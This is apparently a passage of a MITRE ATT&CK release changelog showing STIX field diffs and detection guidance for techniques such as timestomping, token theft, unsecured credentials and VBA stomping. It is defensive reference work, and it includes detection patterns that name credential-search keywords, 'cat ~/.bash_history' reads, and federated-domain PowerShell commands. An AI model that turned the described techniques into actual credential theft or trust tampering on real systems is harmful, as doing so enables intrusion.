x_mitre_detectionBaseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017) + +The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)

[T1070.006] Indicator Removal: Timestomp

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'File: File Modification', 'File: File Metadata', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:27.752000+00:002025-10-24 17:48:43.937000+00:00
x_mitre_detectionForensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.

[T1134.001] Access Token Manipulation: Token Impersonation/Theft

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:48.792000+00:002025-10-24 17:49:04.117000+00:00
x_mitre_detectionIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) + +Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

[T1020.001] Automated Exfiltration: Traffic Duplication

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:44.474000+00:002025-10-24 17:49:00.388000+00:00
x_mitre_detectionMonitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.

[T1205] Traffic Signaling

Current version: 2.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:27.071000+00:002025-10-24 17:48:43.225000+00:00
x_mitre_detectionRecord network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. + +The Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)

[T1537] Transfer Data to Cloud Account

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Cloud Storage: Cloud Storage Modification', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Cloud Storage: Cloud Storage Metadata', 'Snapshot: Snapshot Metadata', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Cloud Storage: Cloud Storage Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:16:36.472000+00:002025-10-24 17:49:27.409000+00:00
x_mitre_detectionMonitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. + +In AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a "Get Snapshot SAS URL" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)

[T1565.002] Data Manipulation: Transmitted Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:16:50.965000+00:002025-10-24 17:49:25.162000+00:00
x_mitre_detectionDetecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.

[T1505.002] Server Software Component: Transport Agent

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:19.364000+00:002025-10-24 17:48:38.001000+00:00
x_mitre_detectionConsider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.

[T1546.005] Event Triggered Execution: Trap

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:46:52.100000+00:002025-10-24 17:48:51.725000+00:00
x_mitre_detectionTrap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.

[T1484.002] Domain or Tenant Policy Modification: Trust Modification

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Application Log: Application Log Content', 'Active Directory: Active Directory Object Modification', 'Active Directory: Active Directory Object Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:14.422000+00:002025-10-24 17:48:32.244000+00:00
x_mitre_detectionMonitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) + +Monitor for PowerShell commands such as: Update-MSOLFederatedDomain –DomainName: "Federated Domain Name", or Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain.(Citation: Microsoft - Update or Repair Federated domain)

[T1127] Trusted Developer Utilities Proxy Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Module: Module Load', 'Process: Process Metadata', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:24.863000+00:002025-10-24 17:49:40.055000+00:00
x_mitre_detectionMonitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. + +Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.

[T1199] Trusted Relationship

Current version: 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:17:12.008000+00:002025-10-24 17:49:09.835000+00:00
x_mitre_detectionEstablish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.

[T1546.017] Event Triggered Execution: Udev Rules

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:17:25.978000+00:002025-10-24 17:49:37.034000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024)
x_mitre_contributors[4]Ruben Groenewoud, ElasticRuben Groenewoud (@RFGroenewoud)

[T1546.004] Event Triggered Execution: Unix Shell Configuration Modification

Current version: 2.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:00.346000+00:002025-10-24 17:49:15.960000+00:00
x_mitre_detectionWhile users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. + +Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) + +For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file. +

[T1552] Unsecured Credentials

Current version: 1.5

+ + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may search compromised systems to find and obtait1Adversaries may search compromised systems to find and obtai
>n insecurely stored credentials. These credentials can be st>n insecurely stored credentials. These credentials can be st
>ored and/or misplaced in many locations on a system, includi>ored and/or misplaced in many locations on a system, includi
>ng plaintext files (e.g. [Bash History](https://attack.mitre>ng plaintext files (e.g. [Shell History](https://attack.mitr
>.org/techniques/T1552/003)), operating system or application>e.org/techniques/T1552/003)), operating system or applicatio
>-specific repositories (e.g. [Credentials in Registry](https>n-specific repositories (e.g. [Credentials in Registry](http
>://attack.mitre.org/techniques/T1552/002)),  or other specia>s://attack.mitre.org/techniques/T1552/002)),  or other speci
>lized files/artifacts (e.g. [Private Keys](https://attack.mi>alized files/artifacts (e.g. [Private Keys](https://attack.m
>tre.org/techniques/T1552/004)).(Citation: Brining MimiKatz t>itre.org/techniques/T1552/004)).(Citation: Brining MimiKatz 
>o Unix)>to Unix)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Access', 'Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:26.362000+00:002025-10-24 17:48:42.785000+00:00
descriptionAdversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)
x_mitre_detectionWhile detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. + +Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. + +Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history. + +Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.

[T1535] Unused/Unsupported Cloud Regions

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Instance: Instance Creation', 'Instance: Instance Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:17:42.649000+00:002025-10-24 17:48:49.853000+00:00
x_mitre_detectionMonitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)

[T1608.002] Stage Capabilities: Upload Tool

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:18:15.337000+00:002025-10-24 17:48:46.160000+00:00
x_mitre_detectionIf infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).

[T1550] Use Alternate Authentication Material

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request', 'Web Credential: Web Credential Usage', 'User Account: User Account Authentication']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:30.693000+00:002025-10-24 17:48:46.684000+00:00
x_mitre_detectionConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

[T1497.002] Virtualization/Sandbox Evasion: User Activity Based Checks

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:51.123000+00:002025-10-24 17:49:06.305000+00:00
x_mitre_detectionUser activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

[T1204] User Execution

Current version: 1.8

New Mitigations:

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Instance: Instance Start', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Container: Container Creation', 'Instance: Instance Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Command: Command Execution', 'Image: Image Creation', 'Application Log: Application Log Content', 'Container: Container Start']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:49.690000+00:002025-10-24 17:49:04.940000+00:00
x_mitre_detectionMonitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. + +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).

[T1564.007] Hide Artifacts: VBA Stomping

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Metadata', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:00.627000+00:002025-10-24 17:49:22.623000+00:00
x_mitre_detectionDetection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit) + +If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)

[T1055.014] Process Injection: VDSO Hijacking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:52.691000+00:002025-10-24 17:49:08.040000+00:00
x_mitre_detectionMonitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)(Citation: GNU Acct)(Citation: RHEL auditd)(Citation: Chokepoint preload rootkits) + +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1021.005] Remote Services: VNC

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Logon Session: Logon Session Creation', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:01.548000+00:002025-10-24 17:48:19.567000+00:00
x_mitre_detectionUse of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. + +On macOS systems log show --predicate 'process = "screensharingd" and eventMessage contains "Authentication:"' can be used to review incoming VNC connection attempts for suspicious activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing) + +Monitor for use of built-in debugging environment variables (such as those containing credentials or other sensitive information) as well as test/default users on VNC servers, as these can leave openings for adversaries to abuse.(Citation: Gnome Remote Desktop grd-settings)(Citation: Gnome Remote Desktop gschema)

[T1078] Valid Accounts

Current version: 2.8

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Logon Session: Logon Session Creation', 'User Account: User Account Authentication', 'Logon Session: Logon Session Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:58.373000+00:002025-10-24 17:49:14.095000+00:00
x_mitre_detectionConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). + +Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.

[T1218.012] System Binary Proxy Execution: Verclsid

Current version: 2.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:46.323000+00:002025-10-24 17:49:01.930000+00:00
x_mitre_detectionUse process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.

[T1125] Video Capture

Current version: 1.2

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: OS API Execution', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:42.332000+00:002025-10-24 17:48:56.077000+00:00
x_mitre_detectionDetection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. + +Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.

[T1583.003] Acquire Infrastructure: Virtual Private Server

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content', 'Internet Scan: Response Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:18:46.651000+00:002025-10-24 17:48:59.607000+00:00
x_mitre_detectionOnce adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1584.003] Compromise Infrastructure: Virtual Private Server

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content', 'Internet Scan: Response Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:19:04.087000+00:002025-10-24 17:48:40.055000+00:00
x_mitre_detectionOnce adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.

[T1497] Virtualization/Sandbox Evasion

Current version: 1.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:47.123000+00:002025-10-24 17:49:02.638000+00:00
x_mitre_detectionVirtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

[T1059.005] Command and Scripting Interpreter: Visual Basic

Current version: 1.5

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Module: Module Load', 'Command: Command Execution', 'Process: Process Creation', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:14.314000+00:002025-10-24 17:49:29.678000+00:00
x_mitre_detectionMonitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. + +Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.

[T1588.006] Obtain Capabilities: Vulnerabilities

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:19:21.267000+00:002025-10-24 17:48:34.033000+00:00
x_mitre_detectionMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).

[T1595.002] Active Scanning: Vulnerability Scanning

Current version: 1.0

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:19:33.981000+00:002025-10-24 17:48:48.647000+00:00
x_mitre_detectionMonitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields. + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1596.002] Search Open Technical Databases: WHOIS

Current version: 1.0

New Detections (Detection Strategies -> Technique):

Details
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:20:02.082000+00:002025-10-24 17:48:26.629000+00:00
x_mitre_detectionMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. + +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1600] Weaken Encryption

Current version: 1.1

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 15:15:15.040000+00:002025-10-24 17:48:30.124000+00:00
x_mitre_detectionThere is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.

[T1606.001] Forge Web Credentials: Web Cookies

Current version: 1.1

